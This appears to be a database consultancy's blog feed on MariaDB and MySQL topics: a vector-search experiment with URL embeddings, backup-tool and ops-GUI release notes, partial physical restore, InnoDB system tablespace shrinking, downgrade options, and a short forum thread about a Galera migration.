| 8 | https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma | LLM Model Enhanced with Vector DB | [0.200000,0.009766,0.000000,0.000000,0.000000,0.003235,0.000000,0.000000] |
+----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+

Search in the MariaDB vector database

Now comes the exciting part of the whole story: Can we also find something in our MariaDB vector database with URLs?

How this works schematically can again be seen in the MariaDB Foundation diagram:

The first attempt is a perfect match:

./fromdual_llm_v1.php https://mariadb.org/projects/mariadb-vector/
[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]

SELECT id, url, title, VEC_ToText(embedding)
 FROM urls
 ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]'))
LIMIT 3
;
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+
| id | url | title | VEC_ToText(embedding) |
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+
| 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] |
| 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] |
| 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] |
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

The first row matches 100%. Then the results get much worse relatively quickly…

Second attempt a similar URL:

./fromdual_llm_v1.php https://mariadb.com/kb/en/e4201/
[0.2, 0.0107421875, 0, 0, 0, 0.00079345703125, 0, 0]

SELECT id, url, title, VEC_ToText(embedding)
 FROM urls
 ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00079345703125, 0, 0]'))
LIMIT 3
;
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+
| id | url | title | VEC_ToText(embedding) |
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+
| 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] |
| 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] |
| 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] |
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Here I would expect only mariadb URLs among the first 3 hits. But this is not the case. So our model still has room for improvement here!

And another similar URL:

./fromdual_llm_v1.php https://mariadb.com/kb/en/vec_totext/
[0.2, 0.0107421875, 0, 0, 0, 0.0010986328125, 0, 0]

SELECT id, url, title, VEC_ToText(embedding)
 FROM urls
 ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0010986328125, 0, 0]'))
LIMIT 3
;
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+
| id | url | title | VEC_ToText(embedding) |
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+
| 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] |
| 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] |
| 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] |
+----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Same problem here. The hostname is not weighted enough. You can/must probably play with the scatter that mariadb.org and mariadb.com generate.

And last but not least, a URL that does not appear in the data set at all:

./fromdual_llm_v1.php https://www.mongodb.com/blog/post/vector-search-llm-essentials-what-when-why
[0.2, 0.0146484375, 0, 0, 0, 0.00323486328125, 0, 0]
SELECT id, url, title, VEC_ToText(embedding)
 FROM urls
 ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0146484375, 0, 0, 0, 0.00323486328125, 0, 0]'))
LIMIT 5
;
+----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+
| id | url | title | VEC_ToText(embedding) |
+----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+
| 7 | https://www.qwak.com/post/utilizing-llms-with-embedding-stores | Integrating Vector Databases with LLMs: A Hands-On Guide | [0.200000,0.011719,0.000000,0.000000,0.000000,0.002563,0.000000,0.000000] |
| 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] |
| 3 | https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] |
| 4 | https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ | MariaDB Vector preview is out | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] |
| 1 | https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source | Download MariaDB Server | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002625,0.000000,0.000000] |
+----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+

Here the result seems to be completely arbitrary. But if you compare the vector of the query with the vectors of the results, the order makes sense… Are the dimensions in the vector evaluated from left to right? After all, the distance between two points in 8-dimensional space is to be determined…

Improvements in the model

The results of our AI are not yet particularly impressive. On the one hand, this is certainly due to the very limited amount of data, on the other hand, we have not yet modelled very important criteria in our model or have used completely nonsensical criteria.

Suggestions for improvement for a next model: The hostname could also be tokenised so that mariadb.com and mariadb.org are closer together.

The length of hostname, path, query and fragment is certainly not a particularly clever criterion for mapping the similarity of URLs. Much more intelligence would be needed in the model here. A function 1/CRC32(dim) might already provide slightly better results?

The title could be included, or at least the most important words (nouns, verbs) from the title.

The document type (MIME type) could be included: Is a PDF more similar to another PDF than to a CSV file or a static HMTL page or a dynamic PHP page?

Points that stood out while playing

The number of dimensions in a vector seem to be set on the first INSERT. If you subsequently enter data with a different vector length, the following error appears:

INSERT INTO products (name, description, embedding) VALUES (
 'Coffee Machine'
, 'Built to make the best coffee you can imagine'
, VEC_FromText('[0.2, 0.013671875, 0, 0, 0, 6.103515625E-5, 0, 0]')
);
ERROR 1366 (22007): Incorrect vector value: '...' for column `test`.`products`.`embedding` at row 1

Changing the vector length is currently NOT possible with a TRUNCATE TABLE command. The table must be dropped (DROP TABLE) and created again (CREATE TABLE).

However, searching with a shorter vector is possible:

SELECT id, url, title, VEC_ToText(embedding)
 FROM urls
 ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875]'))
LIMIT 3
;
+----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+
| id | url | title | VEC_ToText(embedding) |
+----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+
| 8 | https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma | LLM Model Enhanced with Vector DB | [0.200000,0.009766,0.000000,0.000000,0.000000,0.003235,0.000000,0.000000] |
| 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] |
| 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] |
+----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+

I cannot (yet) judge whether the result is so useful.

Sources

FromDual Backup and Recovery Manager for MariaDB and MySQL 2.3.1 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 12 Aug 2024 16:25:13 +0200

FromDual has the pleasure to announce the release of the new version 2.3.1 of its popular Backup and Recovery Manager for MariaDB and MySQL (brman).

In the inconceivable case that you find a bug in the FromDual Backup and Recovery Manager please report it to the FromDual Bugtracker or just send us an [email](mailto:contact@fromdual.com?Subject=Bug report for brman).

Any feedback, statements and testimonials are welcome as well! Please send them to feedback@fromdual.com.

Upgrade from 2.x to 2.3.1

shell> cd ${HOME}/product
shell> tar xf /download/brman-2.3.1.tar.gz
shell> rm -f brman
shell> ln -s brman-2.3.1 brman

Changes in FromDual Backup and Recovery Manager 2.3.1

This release is a new minor release. It contains mainly bug fixes. We have tried to maintain backward-compatibility with the 1.2, 2.0, 2.1 and 2.2 release series. But you should test the new release seriously!

You can verify your current FromDual Backup Manager version with the following command:

shell> fromdual_bman --version
shell> bman --version
shell> rman --version

General

Testing: LXC library updated.
Testing: Test preparation improved.
General: CHANGELOG updated.
General: rc made unique.
Documentation: Documentation improved.
Documentation: Create user documented.
Documentation: New release notes added to documentation.
Packaging: Distro Debian 10 removed.

FromDual Backup Manager (bman)

Utility mariabackup replaced by mariadb-backup.
Branch guessing improved.
Code refactored.
No realistic password is used any more.
Error message for missing client utilities made more distro specific.

FromDual Recovery Manager (rman)

Branch guessing improved.
Code refactored.
No realistic password is used any more.
Error message for missing client utilities made more distro specific.
Typo error fixed, tests refactored.
In some error cases all processes were killed instead of just the dummy database daemon. This is caught correctly now.
Error message improved to get more information in case of errors.
Physical schema backup leads to dump which is wrong. Now this is caught and aborted with an error.

Subscriptions for commercial use of FromDual Backup and Recovery Manager you can get from [from us](mailto:contact@fromdual.com?Subject=Commercial use of FromDual brman).

Partial physical database restore for MariaDB and MySQL

oli.sennhauser@fromdual.com (Oli Sennhauser) — Tue, 02 Jul 2024 18:13:47 +0000

What is it about?

When describing backup and restore scenarios, a full backup and a full restore of the database instance (mariadbd/mysqld) are usually assumed. This means that the entire database instance, including all databases (schemas), is backed up and restored.

In practice, however, the situation is often different: An entire database instance is not to be restored, but only individual databases or even individual tables, because only these have broken.

In many cases, this can be done quite easily with the tools mariadb-dump/mariadb or mysqldump/mysql (logical backup). However, if the database or table is very large, the restore will not be completed in a reasonable time (some minutes to a few hours).

This is exactly where the so-called partial physical restore comes into play. Partial stands for one or more tables (or an entire database), physical for: Individual SQL statements are not executed, but the data files are physically restored. In this scenario, very large amounts of data can be restored very quickly, provided the appropriate infrastructure is in place. Rule of thumb: On fat hardware: 1 Tbyte per hour. In this way, database restores can be carried out very quickly.

MariaDB and MySQL already offer this functionality out of the box. The mechanism is reasonably practicable for individual tables (see Restore partial backup). For entire databases with possibly dozens or hundreds of tables, however, the on-board mechanism is very cumbersome and error-prone.

Use case

This is exactly where the new functionality of the FromDual Backup and Recovery Manager (brman) v2.3.0 comes into play: it considerably simplifies the partial physical database restore.

A second scenario in which this new functionality can also be used is when moving a large database from one database instance to another (e.g. from Dev to Prod).

Preparations for the partial physical database restore

In order to be able to restore a database, a clean backup must of course first be available. This can either be created with the FromDual Backup Manager (bman):

PORT=3306
BACKUPNAME=bck_full_2024-07-01
BACKUPDIR=/tmp/bck

./brman/bin/bman --target=brman:secret@127.0.0.1:${PORT} --type=full --mode=physical --policy=daily --backupdir=${BACKUPDIR} --backup-name=${BACKUPNAME} --no-compress

or you can simply create the backup with the MariaDB (mariadb-backup) or MySQL on-board tools (xtrabackup):

PORT=3306
BACKUPNAME=bck_full_2024-07-01
BACKUPDIR=/tmp/bck
POLICY=daily

mariadb-backup --user=brman --password=secret --host=127.0.0.1 --port=${PORT} --backup --target-dir=${BACKUPDIR}/${POLICY}/${BACKUPNAME}
mariadb-backup --user=brman --password=secret --host=127.0.0.1 --port=${PORT} --prepare --target-dir=${BACKUPDIR}/${POLICY}/${BACKUPNAME}

Partial physical database restore

To perform a partial physical database restore, the database must be running, in contrast to a complete physical restore.

The partial physical database restore is then simple:

PORT=3306
DATADIR=/var/lib/mysql
BACKUPNAME=bck_full_2024-07-01
BACKUPDIR=/tmp/bck

./brman/bin/rman --target=brman:secret@127.0.0.1:${PORT} --type=schema --mode=physical --policy=daily --schema=test --log=/tmp/rman.log --backupdir=${BACKUPDIR} --datadir=${DATADIR} --backup-name=${BACKUPNAME}

...
Start restore at 2024-07-01 16:29:48
 Backup with tool mariabackup version 10.11.8 (from path /home/mysql/product/mariadb-10.11/bin/mariabackup).
 Parent: We are the parent. Our child is: 63712. Waiting for database daemon...
 Child: We are the child: Starting database daemon...
 Child: Change ownership of database files (/tmp/bck/daily/bck_full_2024-07-01) to mysql
 Child: /home/mysql/product/mariadb-10.11/bin/mariadbd --no-defaults --user=mysql --basedir=/home/mysql/product/mariadb-10.11 --datadir=/tmp/bck/daily/bck_full_2024-07-01 --log-error=/tmp/my.err --port=3360 --socket=/tmp/my.sock --lower-case-table-names=0
 Parent: Tables not InnoDB or sequences: 0
 Parent: Tables with partitions: 0
 Parent: Tables with full-text index: 0
 Parent: InnoDB table `test` found to restore
 Parent: Dump database test
 Parent: /home/mysql/product/mariadb-10.11/bin/mariadb-dump --user=brman --host=127.0.0.1 --port=3360 --routines --events --triggers --no-data --skip-lock-tables --add-drop-database --databases test
 Parent: Shutdown backup database.
 Restore empty database test
 Prepare and export tables: /home/mysql/product/mariadb-10.11/bin/mariabackup --user=brman --host=127.0.0.1 --port=3321 --prepare --export --databases=test --target-dir=/tmp/bck/daily/bck_full_2024-07-01
 SET SESSION foreign_key_checks = 0
 SET SESSION sql_log_bin = off

 Restore table test
 ALTER TABLE `test`.`test` DISCARD TABLESPACE
 cp /tmp/bck/daily/bck_full_2024-07-01/test/test.cfg /home/mysql/database/mariadb-1011/data/test/test.cfg
 cp /tmp/bck/daily/bck_full_2024-07-01/test/test.ibd /home/mysql/database/mariadb-1011/data/test/test.ibd
 chown mysql: /home/mysql/database/mariadb-1011/data/test/test.cfg /home/mysql/database/mariadb-1011/data/test/test.ibd
 ALTER TABLE `test`.`test` IMPORT TABLESPACE
 rm /home/mysql/database/mariadb-1011/data/test/test.cfg
 rm /tmp/bck/daily/bck_full_2024-07-01/test/test.cfg
 ----------------------------------------
 WARNING: You should restart the database now! Otherwise possible future backups may fail. See MDEV-34418 (https://jira.mariadb.org/browse/MDEV-34418).
 ----------------------------------------

 Restore time was: 0d 0h 0' 2"
End restore at 2024-07-01 16:29:50 (rc=0)

For MariaDB, it is recommended to restart the database afterwards until the bug MDEV-34418: mariadb-backup fails on database which was partially restored with mariadb-backup is fixed. This step can be omitted for MySQL.

Restrictions

At present, the following restrictions still apply to the partial physical restore of databases with rman:

Only entire databases can be restored. Restoring individual tables is not yet implemented. Use the basic on-board tools for this.
Restoring partitioned tables is not yet implemented. Use the basic on-board tools for partitioned tables.
A subsequent point-in-time recovery of the database is not yet implemented and must be carried out manually.
A partial physical database restore for an entire Galera cluster is not yet implemented and must be performed manually. In this case, a restore to one Galera node and a subsequent synchronisation of the other nodes using SST is recommended.
With a physical partial database restore, a pseudo instance is started on the backup files. This pseudo instance requires a free port 3360.
The backup files must already be in a consistent state (--prepare).
With a partial physical database restore, a logical backup of the database is created without the data on the pseudo instance. This backup is restored to the instance to be repaired. This means that all objects (views, triggers, functions, procedures, events, etc.) that were created AFTER the complete physical backup are deleted before the partial physical database restore and are then no longer available.
The original database instance from which the backup was created and the instance on which the restore is performed must have the same setting for lower_case_table_names.
All three, the backup, the database instance and the rman tool must be located on the same machine.
The backup must currently still be available in uncompressed form.

Literature

FromDual Backup and Recovery Manager for MariaDB and MySQL 2.3.0 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Tue, 25 Jun 2024 15:12:02 +0200

FromDual has the pleasure to announce the release of the new version 2.3.0 of its popular Backup and Recovery Manager for MariaDB and MySQL (brman).

Any feedback, statements and testimonials are welcome as well! Please send them to feedback@fromdual.com.

Upgrade from 2.x to 2.3.0

shell> cd ${HOME}/product
shell> tar xf /download/brman-2.3.0.tar.gz
shell> rm -f brman
shell> ln -s brman-2.3.0 brman

Changes in FromDual Backup and Recovery Manager 2.3.0

This release is a new major release. The most important new feature is the partial physical restore. We have tried to maintain backward-compatibility with the 1.2, 2.0, 2.1 and 2.2 release series. But you should test the new release seriously!

You can verify your current FromDual Backup Manager version with the following command:

shell> fromdual_bman --version
shell> bman --version
shell> rman --version

General

Packaging: Release el9 added and debian format increase from 9 to 10 because of debian12.
Documentation prepared for Asciidoctor.
Distribtion dependent things fixed.
Build script improved.
Typos fixed.
All print replaced by standard PHP echo commands.
Redhat replace by Red Hat and CentOS by Rocky Linux.
Copyright year updated to 2024.
Library myEnv updated (getDistribution, lsb_release removed).

FromDual Backup Manager (bman)

Bug in sftp transfer for archiving files fixed.
Also create subdirectories only once if necessary in physical backup.
Archive location directory is only created once in physical backup. This avoids errors and makes the backup slightly faster.
In function createArchiveDestinationDirectory php-ssh2 calls where replaced by the more stable scp/sftp calls.
Bug in archive destination directory creation fixed and example improved.
Library LXClib added for testing.
Number of lines in dump parsing increased because of changes in MySQL 8.0.
Binlog backup debug output made nicer.
Retention time increased from 800 days to 1200 days (more than 3 years), tests added for this, newer DB versions added to tests.
Advices apt-get and yum replace by apt and dnf.
Error was not returned correctly when bman aborts because of MyISAM tables. Fixed.
Syntax error fixed.
flock on fpmmm file added.
BINLOG MONITOR privilege check added for MariaDB 10.11.
Code clean-up.
Example enhanced.
Output made more clear for trouble shooting (doCleanup).

FromDual Recovery Manager (rman)

Various bugs fixed found during automated testing.
Some minor fixes about timing and repeatable testing, warnings and messages improved.
mariadb_backup_binlog_info case (MariaDB 11.4) added for physical full backup.
Code refactored and case when backup is compressed caught.
Function doPhysicalRestore renamed to doFullPhysicalRestore.
Split restore functions in their own files.
sql_log_bin is used for schema restore on partial physical restore.
New example for partial physical restore added.
New method for partial physical restore implemented.
Partial physical schema restore added.

Subscriptions for commercial use of FromDual Backup and Recovery Manager you can get from [from us](mailto:contact@fromdual.com?Subject=Commercial use of FromDual brman).

Shrinking the InnoDB system tablespace

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 17 Jun 2024 14:45:32 +0000

One feature that really excited me in the new MariaDB 11.4 LTS release is the shrinking of the system tablespace (ibdata1). I have been eagerly waiting for this feature since around 2006 and now it has finally arrived with MariaDB 11.4. Actually, this feature has been available since MariaDB 11.2 IR (June 2023).

Unfortunately, the announcement of this feature came a little too short. In the MariaDB release notes it says succinctly:

The InnoDB system tablespace is now shrunk by reclaiming unused space at startup (MDEV-14795)

From the MariaDB 11.2.0 Release Notes.

The reasons why this file can grow immeasurably have actually been known for a long time and the measures against it are also clear (see literature). But again and again we see MariaDB users out in the field who didn’t realise the problem or realised it too late and are now left with an ibdata1 file that is far too large…

How can the problem be provoked?

The problem can be provoked by creating a table in the system tablespace:

SQL> SET global innodb_file_per_table = off;

SQL> CREATE TABLE `test` (
 `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
 `data` varchar(128) DEFAULT NULL,
 `ts` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
 PRIMARY KEY (`id`)
) ENGINE=InnoDB;

and then filling it with data:

SQL> INSERT INTO test
SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW()
;

SQL> INSERT INTO test
SELECT NULL, 'Some data to provoke huge data growth in system tablespace', NOW()
 FROM test LIMIT 1000000
;
...

While the table is being filled, you can observe how the file ibdata1 swells on the file system:

$ while [ 1 ] ; do ll -h ibdata1 ; sleep 5 ; done
-rw-rw---- 1 mysql mysql 12M Jun 2 13:57 ibdata1
-rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1
-rw-rw---- 1 mysql mysql 76M Jun 12 13:57 ibdata1
-rw-rw---- 1 mysql mysql 140M Jun 12 13:58 ibdata1
-rw-rw---- 1 mysql mysql 204M Jun 12 13:58 ibdata1
-rw-rw---- 1 mysql mysql 268M Jun 12 13:58 ibdata1
-rw-rw---- 1 mysql mysql 332M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 396M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 460M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 524M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 588M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 652M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 716M Jun 12 13:59 ibdata1
-rw-rw---- 1 mysql mysql 780M Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 844M Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 908M Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 972M Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 1.1G Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 1.2G Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 1.3G Jun 12 14:00 ibdata1
-rw-rw---- 1 mysql mysql 1.4G Jun 12 14:00 ibdata1

If the ibdata1 file is large enough, you can move the table from the system tablespace to a dedicated tablespace:

SQL> SET global innodb_file_per_table = off;
SQL> ALTER TABLE test.test FORCE;
Query OK, 0 rows affected (33.764 sec)

And you can see how the new file is created:

$ ll -h ibdata1 test/*
-rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1
-rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/#sql-alter-dca30-12.frm
-rw-rw---- 1 mysql mysql 696M Jun 12 14:01 test/#sql-alter-dca30-12.ibd
-rw-rw---- 1 mysql mysql 1.1K Jun 12 13:56 test/test.frm

-rw-rw---- 1 mysql mysql 1.4G Jun 12 14:01 ibdata1
-rw-rw---- 1 mysql mysql 1.1K Jun 12 14:01 test/test.frm
-rw-rw---- 1 mysql mysql 1.4G Jun 12 14:02 test/test.ibd

So now we have once the data but twice as much space used.

And how can you make the system tablespace smaller again?

Unfortunately, this information is somewhat hidden and has to be gathered from the documentation and the MariaDB Jira issues (see literature):

SQL> SET GLOBAL innodb_fast_shutdown=0;
SQL> SHUTDOWN;

When shutting down, you can see the corresponding entries in the MariaDB error log:

[Note] bin/mariadbd (initiated by: root[root] @ localhost []): Normal shutdown
[Note] InnoDB: FTS optimize thread exiting.
[Note] InnoDB: Truncating system tablespace from 90880 to 768 pages
[Note] InnoDB: System tablespace truncated successfully
[Note] InnoDB: Starting shutdown...
[Note] InnoDB: Dumping buffer pool(s) to /home/mysql/database/mariadb-114/data/ib_buffer_pool
[Note] InnoDB: Restricted to 2016 pages due to innodb_buf_pool_dump_pct=25
[Note] InnoDB: Buffer pool(s) dump completed at 240612 14:11:11
[Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1"
[Note] InnoDB: Shutdown completed; log sequence number 4011132308; transaction id 139
[Note] bin/mariadbd: Shutdown complete

And if you look at the file ibdata1 on disc afterwards, it is as small as it was at the beginning of the experiment:

$ ll ibdata1* -h
-rw-rw---- 1 mysql mysql 12M Jun 12 14:11 ibdata1

Literature

MDEV-34412

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 17 Jun 2024 12:05:44 +0200

https://jira.mariadb.org/browse/MDEV-34412

Migration Problem mysql 5.7 to mariadb/galera

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 17 Jun 2024 11:53:57 +0200

Hi dcz01

No it is not solved… It is closed and “not a bug”… I try to intervene

Regards, Oli

Migration Problem mysql 5.7 to mariadb/galera

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 17 Jun 2024 11:39:19 +0200

Hi Oli, Thanks for your answer. The problem is already open and solved but not for me and its still not working: https://jira.mariadb.org/browse/MDEV-28172

Greetings dcz01

Possibly a bug

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 17 Jun 2024 11:29:33 +0200

Hello dcz01

I would say, this is probably a bug. I can reproduce it on my system (MySQL 5.7 Master and MariaDB 10.6 Galera Cluster).

Please contact your MariaDB support contact… If you need assistance we are happy to sell you our remote-DBA services…

Regards, Oli

Migration from mysql 5.7 to MariaDB 10.5 with Galera 4 Problems

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 17 Jun 2024 08:56:15 +0200

Hi, we are migrating some old mysql 5.7 servers to new mariadb 10.5 machines with new galera 4 and we’re doing the normal way of migration:

Dumping all databases from old servers and importing to new galera cluster (no error)
Configuration of traditional sql replication between old and new servers so that clients still can connect to servers without downtime (no errors)
Starting replication and just creating a new database (error and galera nodes which are not the replication slave are dropping with inconsistency from cluster)

Do you know what could be the failure here? You described it here very good but its not working so easy.

Greetings dcz01

How to downgrade MariaDB or MySQL

oli.sennhauser@fromdual.com (Oli Sennhauser) — Tue, 21 May 2024 09:54:14 +0000

On this page we have summarised information about downgrading a MariaDB/MySQL database. We do not cover migrating from MySQL to MariaDB or vice versa. For migrations (sidegrade) please look here: MySQL - MariaDB migration and here: Migration between MySQL/Percona Server and MariaDB.

The downgrade process tends to be neglected because nobody really wants to do it. So we are in swampy territory here. Unforeseen situations can occur very easily and good preparation is essential.

I can think of the following possible options for the downgrade:

Restore the backup that was made BEFORE the upgrade began.
Binary inplace downgrade (which is NOT supported in many cases).
Dump (mariadb-dump/mysqldump) of the upgraded database and restore (mariadb/mysql) to the old version (logical backup/restore).
Master/slave replication (with Statement Based Replication (SBR) or Row Based Replication (RBR)) and fallback to the slave with the old version.
Partial Backup/Restore with mariadb-backup/xtrabackup (Transportable Tablespace (TTS) method).

All these options have their advantages and disadvantages and must be carefully tested in advance.

Downgrade MariaDB

Downgrading MariaDB is not officially supported between major versions.

First sentence in Downgrading between Major Versions of MariaDB by MariaDB Foundation.

FromDual says: But it usually works. Downgrading from minor versions practically always works.

Physical (in-place) downgrade NOT possible:

From version	To version
11.0 or later	to 10.4 or earlier: NOT possible
11.0 or later	to 10.5 or later: Possible with restrictions
10.8 or later	unclear description
10.5	to 10.4: With restrictions
10.5	to 10.3: With restrictions or problems
10.3	to 10.2: With restrictions

In addition:

Andrew Hutchings, MariaDB Foundation, 17. Mai 2024: MariaDB Dump File Compatibility Change

Downgrade MySQL

Downgrade from MySQL 8.0 to MySQL 5.7, or from a MySQL 8.0 release to a previous MySQL 8.0 release, is not supported. The only supported alternative is to restore a backup taken before upgrading. It is therefore imperative that you back up your data before starting the upgrade process.

First and only sentence in Downgrading MySQL (8.0) by Oracle Corp.

FromDual Ops Center 1.2.2 for MariaDB and MySQL databases has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 29 Apr 2024 17:41:04 +0200

FromDual is pleased to announce the release of the new version 1.2.2 of the popular FromDual Ops Center focmm, a Graphical User Interface (GUI) for MariaDB, MySQL and compatible databases.

The FromDual Ops Center for MariaDB and MySQL (focmm) helps DBAs and system administrators to better manage their MariaDB and MySQL databases and Galera Cluster farms. Ops Center makes life easier for DBAs and Admins!

The main purpose of the Ops Center is to help you with your daily MariaDB and MySQL operations. More information about FromDual Ops Center can be found in the General Information section.

Download now

The new FromDual Ops Center for MariaDB and MySQL (focmm) can be downloaded from our download page. How to install and use focmm is documented in the Ops Center User Guide.

In the unlikely event that you find a bug in the FromDual Ops Center for MariaDB and MySQL please report it to the FromDual bug tracker or just send us an [email](mailto:contact@fromdual.com?Subject=Bug report for focmm).

Any feedback, comments and testimonials are also welcome! Please send them to [feedback@fromdual.com](mailto:feedback@fromdual.com?Subject=Feedback for focmm “Feedback for focmm”).

Installing Ops Center 1.2.2

Information on how to install FromDual Ops Center can be found in the Ops Center User Guide.

Upgrading from 0.9.x to 1.2.2

The upgrade from 0.9.x to 1.2.2 should be automatic. Please make a backup of your Ops Center database instance before upgrading! See also Upgrading.

Important: In some cases the directory focmm/tmp/start_jobs.lock is missing. In this case jobs will not start. Please check the log file under focmm/log/start_jobs.log and create the folder accordingly. There should also be a file called pid in this folder. Create this file if it does not exist.

Downgrading from 1.2.2

Downgrading from 1.2.2 to 1.2.1 should work.

Changes in Ops Center 1.2.2

Machine

Machine information is automatically gathered after first successful check now.
Machine function calls optimized.
Ssh key check added for machine.
Some tests around machine library added.
Function createPublicKey + page refactored.
Copy of ssh key and ssh command implemented.
Skip machines which are down during gathering resource costs.
Error message in pricing when adding a new machine was fixed.

Instance

Instance operations are now faster when instance is running but not reachable.
Node check improved in cluster and instance, works now also correctly on multi instance environments.
PID file is gathered now.
Stop instance on instance operations improved if a Galera cluster node.
Instance is now checked immediately after start or restart and checks are set to failed after instance stop. So the instance state is more appropriate and in time now.
Link added to read_only variable comment.
Instance is shown orange when ping check was not run yet. This is fixed now.
Error log gathering improved in instance operations.
If mysql_upgrade_info file is missing error is suppressed now.
Gather instance information is done now right after the first successful check.
Check database_ping was removed from general instance tests to avoid noise in the database error log.
Check instance_ping_check removed from instanceTest to avoid error log messages on a regular base, wondering what kind of impact this has…
innodb_log_writer_threads rule added to instance configuration.
Target connect function error logging improved.
Continue button is handled correctly now when stopping, starting or restarting an instance.
Instance operations location of error log is shown now.
Refactored instance operations code for moving Galera buttons out.
Function refreshInstance refactored because we need this information for Galera Cluster.
Unknown array_keys error message fixed in instance.
Foreign MariaDB/MySQL repositories should now be considered as well.
Optimized instance handling.
Instance error log handling can now handle systemd/journalctl.
Instance hardening when creating instance improved.
Create instance improved.
Create instance bug fixed.
Instance create on Rocky 9, fixed.
